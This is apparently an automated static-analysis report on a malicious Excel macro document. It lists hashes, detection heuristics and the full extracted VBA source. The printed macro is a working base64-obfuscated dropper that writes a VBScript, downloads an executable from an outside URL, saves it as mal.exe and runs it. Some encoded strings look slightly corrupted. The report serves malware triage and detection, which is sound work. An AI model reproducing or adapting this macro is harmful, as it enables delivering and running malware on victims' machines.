Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 61389f5c27f1a96b…

MALICIOUS

Office (OOXML)

19.2 KB Created: 2020-06-13 08:08:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-13
MD5: fa0f8a4fb4b33d8595a0f1d00bdb8fc5 SHA-1: c8e2461b87cdd790d910d0f109240986d170fb34 SHA-256: 61389f5c27f1a96b978ee9f08a96ede80b8e5e678ab3b3677da900dddb374b8b
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro within the document contains obfuscated code that decodes and writes a VBScript file to disk at 'C:\Users\Username\Desktop\j.vbs'. This script then proceeds to download a second-stage executable from 'https://www.cardbox.com/download/samples1.exe' and saves it as 'C:\Users\Username\Desktop\mal.exe'. Finally, the script executes both the downloaded VBScript and the saved executable, indicating a downloader and execution attack pattern.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "wscript C:\Users\Username\Desktop\j.vbs"
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        Shell "wscript C:\Users\Username\Desktop\j.vbs"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
         Print #PayLoadFile, bd("IC53cml0ZSB4LnJlc3BvbnNlQm9keQ==")   ' .write x.responseBody'
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         Print #PayLoadFile, bd("ZGltIHg6IFNldCB4ID0gY3JlYXRlb2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIp") 'dim x: Set x = createobject("Microsoft.XMLHTTP")'
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.cardbox.com/download/samples1.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6010 bytes
SHA-256: ee58c0f2eef00c75c64f77d3d8491ee1e2b0ef532c8161d22a462c4bd0c68ff9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"

Sub read()
    Dim PayLoadFile As Integer
    Dim FilePath As String
     FilePath = "C:\Users\Username\Desktop\j.vbs"
     PayLoadFile = FreeFile
     Open FilePath For Output As PayLoadFile
     Print #PayLoadFile, bd("ZGltIHg6IFNldCB4ID0gY3JlYXRlb2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIp") 'dim x: Set x = createobject("Microsoft.XMLHTTP")'
     Print #PayLoadFile, bd("IGRpbSBiOiBTZXQgYiA9IGNyZWF0ZW9iamVjdCgiQWRvZGIuU3RyZWFtIik=")     'dim b: Set b = createobject("Adodb.Stream")'
     Print #PayLoadFile, bd(bd("SUhndVQzQmxiaUFpUjBWVUlpd2dJbWgwZEhCek9pOHZkM2QzTG1OaGNtUmliM2d1WTI5dEwyUnZkMjVzYjJGa0wzTmhiWEJzWlhNeExtVjRaU0lzSUVaaGJITmw=")) ' x.Open "GET", "https://www.cardbox.com/download/samples1.exe", False'
     Print #PayLoadFile, bd("IHguU2VuZA==") 'x.Send'
     Print #PayLoadFile, bd("IHdpdGggYg==") ' with b'
     Print #PayLoadFile, bd("IC50eXBlID0gMQ==") ' .type = 1'
     Print #PayLoadFile, bd("IC5vcGVu")    ' .open'
     Print #PayLoadFile, bd("IC53cml0ZSB4LnJlc3BvbnNlQm9keQ==")   ' .write x.responseBody'
     Print #PayLoadFile, bd("IC5uYXZgdG9baWxlICJDOlxVc7V9c1x8bWlyQWJhc1xEZXNrdG9wXG1obC5leGUiLCAy") ' .savetofile "C:\Users\Username\Desktop\mal.exe", 2'
     Print #PayLoadFile, bd("IGVuZCB3aXRo")    'end with'
    Close PayLoadFile
    Shell "wscript C:\Users\Username\Desktop\j.vbs"
    Application.Wait (Now + TimeValue("0:00:03"))
    Shell "C:\Users\Username\Desktop\mal.exe"

End Sub

Function be(inData)

  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim cOut, sOut, I
  
  For I = 1 To Len(inData) Step 3
    Dim nGroup, pOut, sGroup
    
    nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
      &H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
    
    nGroup = Oct(nGroup)
    
    nGroup = String(8 - Len(nGroup), "0") & nGroup
    
    pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
    
    sOut = sOut + pOut

  Next
  Select Case Len(inData) Mod 3
    Case 1:
      sOut = Left(sOut, Len(sOut) - 2) + "=="
    Case 2:
      sOut = Left(sOut, Len(sOut) - 1) + "="
  End Select
  be = sOut
End Function

Function MyASC(OneChar)
  If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
End Function
Function bd(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")

  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "bd", "Bad Base64 string."
    Exit Function
  End If

  
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "bd", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    
    nGroup = Hex(nGroup)
    
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  bd = sOut
End Function




Attribute VB_Name = "Module2"




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

Private Sub Worksheet_SelectionChange(ByVal Target As Range)
    If Selection.Count = 1 Then
        If Not Intersect(Target, Range("D420")) Is Nothing Then
            Call ghd
        End If
    End If
End Sub





Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True



Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True




Attribute VB_Name = "ThisWorkbook1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True



Attribute VB_Name = "ThisWorkbook2"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 29184 bytes
SHA-256: d0440a262aa3df92e094cd771a177263be00656046db6f450b9f70cc6a310daf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).